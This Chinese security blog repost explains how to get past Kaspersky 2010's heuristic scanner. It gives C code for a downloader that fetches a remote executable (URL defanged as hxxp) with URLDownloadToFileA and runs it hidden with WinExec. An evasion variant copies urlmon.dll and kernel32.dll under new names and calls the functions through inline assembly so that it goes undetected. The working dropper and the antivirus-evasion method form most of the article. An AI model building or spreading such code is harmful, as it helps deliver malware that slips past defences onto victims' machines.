分析卡巴斯基启发式扫描及其绕过方案

admin 2022年4月9日16:47:57安全文章评论18 views1698字阅读5分39秒阅读模式

卡巴斯基2010有强大的启发式扫描,其实启发式扫描有很多弱点,有一个就是不能完全的模拟程序的运行环境,这就可能给我们留出来了一块空间来绕过启发式扫描,其实其它杀毒软件的启发式扫描都存在这些空间,下面就来分析一下卡巴斯基的启发式扫描吧!
首先要编一段程序来完成测试,程序一定要非常的针对启发式扫描这一块的,不然的话没有效果,选那段代码来测试呢?恩,有段代码启发式扫描几乎都要扫描的,那就是下载者的代码,一般的下载者代码如下:

(为防止误点击,所有网址已设为hxxp,欲尝试请修改后再访问)

int _tmain(int argc, _TCHAR* argv[]){URLDownloadToFileA(NULL,"hxxp://www.hehe/yan.exe","c:\yan.exe",0,NULL);WinExec("C:\yan.exe",SW_HIDE);}

上面代码应该是最熟悉的了,启发式扫描发现调用URLDownloadToFileA和WinExec就认为是病毒了,先写这么一个程序,放到卡巴斯基2010下
于是,卡巴报下载者病毒,看来卡巴的启发式扫描起作用了,经过测试,无论改成动态调用还是其它方案,只要调用Kennel32.dll中的WinExec和UrlMon.dll中的URLDownloadToFileA都无法躲过卡巴斯基的启发式扫描。
下面开始以启发式扫描的弱点来测试,那就是不能完全模拟程序运行环境的,当我们创建文件等操作时,在启发式扫描的环境中实际是没有操作的,那么方法诞生 了,可以先复制一个Kernel32.dll的副本Kaba.dll,然后动态调用KaBa.dll中的WinExec函数,那么启发式扫描应该作废了, 因为在启发式扫描的环境中根本不会真正的复制一个Kaba.dll文件,那么我们的动态调用就是未知的,所以我们的程序很安全。修改代码如下:

char * Str="c:\yan.exe";     char * Url="hxxp://www.hehe/yan.exe";    CopyFileA("C:\windows\system32\urlmon.dll","c:\windows\system32\KaBaUrl.dll",true);     LoadLibrary("KaBaUrl.dll");     PVOID Dwon=GetProcAddress(GetModuleHandle("KaBaUrl.dll"),"URLDownloadToFileA");     _asm     {         push 0         push 0         push Str         push Url         push 0         call Dwon     }CopyFileA("c:\windows\system32\kernel32.dll","c:\windows\system32\KaBa.dll",true); LoadLibrary("KaBa.dll");     PVOID Fun=GetProcAddress(GetModuleHandle("KaBa.dll"),"WinExec");    _asm     {         push SW_HIDE         push Str         call Fun}

上面代码生成的程序运行时,卡巴不会有任何反应,看来启发式扫描还有很大的缺点,最后希望卡巴斯基的启发式扫描越来越完善,到杀毒软件的启发式扫描能完全 模拟程序运行环境时,那么启发式扫描可能就不叫启发式扫描了(声明:上面代码只做测试使用,凡是用于非法用途的,后果自负。)


转载自:http://blog.sina.com.cn/s/blog_63a4534c01012ugj.html


历史文章推荐:

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

内网渗透之域渗透命令执行总结

[WEB安全]Weblogic漏洞总结


查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“再看”,感激不尽分析卡巴斯基启发式扫描及其绕过方案

原文始发于微信公众号(橘猫学安全):分析卡巴斯基启发式扫描及其绕过方案

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月9日16:47:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  分析卡巴斯基启发式扫描及其绕过方案 http://cn-sec.com/archives/888835.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: